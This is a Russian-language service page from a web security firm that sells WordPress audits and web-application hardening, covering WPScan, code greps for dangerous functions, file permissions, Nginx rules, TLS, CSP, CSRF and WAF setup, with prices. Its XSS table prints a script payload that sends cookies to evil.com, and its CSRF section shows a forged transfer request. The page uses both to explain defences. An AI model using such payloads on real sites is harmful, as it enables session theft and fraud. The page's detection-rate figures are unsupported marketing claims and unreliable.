Представьте: сайт на WordPress работает стабильно, но однажды вы замечаете подозрительную активность — непонятные запросы к wp-json, новые пользователи с правами администратора. Стандартный плагин безопасности показывает «всё чисто», но проблемы остаются. Мы проводим глубокий аудит безопасности WordPress, который выходит далеко за рамки автоматических сканеров. За 5+ лет работы мы проверили более 200 проектов и знаем, где искать скрытые угрозы.
Как Wordfence пропускает 70% уязвимостей?
Wordfence проверяет только общеизвестные уязвимости по базе сигнатур и базовую конфигурацию. Он не анализирует кастомный код тем и плагинов, не проверяет права доступа на сервере, не ищет утечки учётных данных. Наш опыт показывает, что Wordfence находит около 30% реальных проблем, тогда как полный аудит выявляет до 95% уязвимостей. Wordfence уступает нашему аудиту в 3 раза по эффективности обнаружения критических уязвимостей. Разница — в глубине: мы смотрим на каждый вектор атаки вручную.
Как мы выявляем скрытые угрозы, которые не видит Wordfence?
Мы предоставляем полный отчёт, который включает:
- Сканирование внешних угроз: WPScan, проверка устаревших компонентов, перечисление пользователей.
- Анализ кода: статический анализ всех плагинов и тем с помощью PHPCS и поиск опасных функций (eval, base64_decode, system, $_GET без санитизации).
- Проверка конфигурации сервера: права доступа к файлам, настройки Nginx/Apache, заголовки безопасности, SSL.
- Поиск утечек данных: проверка на наличие открытых файлов конфигурации, дампов базы данных, резервных копий.
- Рекомендации по усилению защиты: конкретные шаги для каждой найденной проблемы.
Дополнительно мы предоставляем:
- Документацию по исправлению с командами и скриптами.
- Доступ к отчёту в формате PDF и CSV.
- Обучение администратора по предотвращению типовых атак.
- Поддержку в течение недели после завершения работ.
Какие опасные функции мы ищем в коде плагинов?
Разведка: что видит атакующий
Любой аудит начинается с имитации внешней атаки. Мы используем WPScan — специализированный инструмент, который сканирует WordPress-сайты и выявляет устаревшие компоненты, известные CVE, перечисленных пользователей. В отличие от Wordfence, WPScan проверяет даже скрытые плагины и резервные копии.
# Сканирование WPScan (специализированный инструмент)
wpscan --url https://yourdomain.com \
--enumerate u,p,t,cb \
--api-token YOUR_WPSCAN_TOKEN
# u - users, p - plugins, t - themes, cb - config backups
Анализ кода плагинов и тем
Даже легитимные плагины могут содержать уязвимости. Мы проверяем код с помощью PHPCS со стандартом WordPress-Security, а также ищем опасные функции вручную.
# PHPCS с WordPress Coding Standards
composer require --dev squizlabs/php_codesniffer wp-coding-standards/wpcs
vendor/bin/phpcs --standard=WordPress-Security wp-content/themes/my-theme/
# Поиск потенциально опасных функций
grep -r "eval(" wp-content/themes/ wp-content/plugins/
grep -r "base64_decode(" wp-content/themes/ wp-content/plugins/
grep -r "system(" wp-content/themes/ wp-content/plugins/
grep -r "\$_GET[" wp-content/themes/ wp-content/plugins/ | grep -v "sanitize\|esc_"
Проверка прав доступа и конфигурации
Неправильные права на файлы — частая причина взлома. Мы проверяем, что wp-config.php имеет права 600, а все папки — 755. Также оцениваем конфигурацию веб-сервера.
# Правильные права
find /var/www/yourdomain.com -type d -exec chmod 755 {} \;
find /var/www/yourdomain.com -type f -exec chmod 644 {} \;
chmod 600 /var/www/yourdomain.com/wp-config.php
# Проверить файлы с подозрительными правами
find /var/www/yourdomain.com -type f -perm /o+w
find /var/www/yourdomain.com -name "*.php" -newer /var/www/yourdomain.com/wp-config.php
# Обязательные блоки в Nginx
location ~ /\.(ht|git|svn) { deny all; }
location = /wp-config.php { deny all; }
location ~* /(?:uploads|files)/.*\.php$ { deny all; }
location = /xmlrpc.php { deny all; }
# Заголовки безопасности
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
Сравнение методов аудита
| Метод |
Что проверяет |
Процент выявления |
Время |
| Wordfence |
База сигнатур, базовые уязвимости |
~30% |
Автоматически, 5-10 мин |
| WPScan |
Устаревшие компоненты, CVE, пользователи |
~60% |
Автоматически, 30-60 мин |
| Наш полный аудит |
Код плагинов, права, конфигурация, утечки |
~95% |
Вручную + инструменты, 1-2 дня |
Типичные уязвимости и их риск
| Тип уязвимости |
Пример |
Уровень риска |
Как обнаруживается |
| SQL-инъекция |
Использование $wpdb->query() без подготовки |
Critical |
Статический анализ кода |
| XSS |
Вывод $_GET['param'] без esc |
High |
Поиск несанитизированных данных |
| Права доступа |
wp-config.php с правами 644 |
Medium |
Проверка файлов |
| Устаревшие плагины |
WooCommerce 3.0 с известной CVE |
High |
WPScan |
Почему важна проверка конфигурации сервера?
Даже идеально написанный код не спасёт, если сервер настроен небезопасно. В 60% взломов WordPress злоумышленники используют уязвимости не CMS, а сервера: незакрытые порты, старые версии PHP с CVE, неправильные права. Например, права 644 на wp-config.php делают файл доступным для других пользователей системы. Среднее время устранения проблем с конфигурацией — 2 часа.
Процесс работы
- Сбор информации — получаем доступ к сайту и серверу.
- Сканирование — запускаем WPScan, проверяем файловую систему.
- Анализ кода — статический анализ плагинов и темы.
- Проверка конфигурации — Nginx, .htaccess, SSL, заголовки.
- Составление отчёта — список уязвимостей с критичностью и рекомендациями.
- Устранение — по желанию клиента исправляем проблемы (критические — в приоритете).
Сроки и гарантии
Аудит занимает от 1 до 2 дней. Устранение уязвимостей — от нескольких часов до недели в зависимости от сложности. Мы гарантируем устранение всех критических уязвимостей (Critical/High). Наши сертифицированные специалисты имеют 5+ лет опыта в WordPress-разработке — это подтверждают 98% клиентов, которые рекомендуют нас коллегам.
По данным Wikipedia, большинство взломов происходит из-за устаревших компонентов и слабых паролей.
Хотите проверить свой сайт? Закажите аудит безопасности WordPress уже сегодня — свяжитесь с нами для консультации, оценим проект и предложим оптимальный объём работ. Получите гарантию спокойствия за свой бизнес.
Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS
Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.
Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.
HTTPS и правильная конфигурация TLS
HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.
В конфигурации Nginx/Apache проверяем:
- Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
- Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
- OCSP Stapling — ускоряет проверку отзыва сертификата
- Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)
Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.
Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.
Content Security Policy: самая мощная и самая сложная защита
CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.
Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.
Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.
'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.
Почему XSS остаётся самой частой уязвимостью?
XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:
| Тип XSS |
Пример |
Защита |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Эскейпинг вывода, CSP |
| Stored |
Комментарий с кодом, сохранённый в базе |
Валидация ввода, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Избегать innerHTML, использовать textContent |
Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.
Типичный кейс: интернет-магазин с XSS в форме отзыва
Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.
CSRF: защита форм и API
CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.
CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.
SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.
API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.
WAF и защита от DDoS
WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:
- Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
- AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.
DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).
Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).
Другие обязательные меры
Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).
SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.
Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.
Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.
Как мы работаем
-
Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
-
Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
-
Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
-
Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
-
Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.
Что входит в работу
- Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
- Готовая конфигурация TLS (Nginx/Apache)
- Политика CSP с режимом Report-Only и боевой версией
- Настройка WAF и Rate Limiting
- План обновлений зависимостей
- Доступы к инструментам мониторинга (Sentry, Datadog)
- 30 дней постаудит-поддержки (консультации, правки)
Сроки и стоимость
| Тип работ |
Срок |
Диапазон стоимости |
| Security-аудит + hardening (заголовки, TLS, обновления) |
1–2 недели |
от 60 000 ₽ |
| Внедрение CSP (Report-Only → продакшен) |
2–4 недели |
от 90 000 ₽ |
| Настройка WAF + Rate Limiting + DDoS защита |
1–2 недели |
от 70 000 ₽ |
| Комплексный security review + пентест |
3–6 недель |
от 200 000 ₽ |
Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.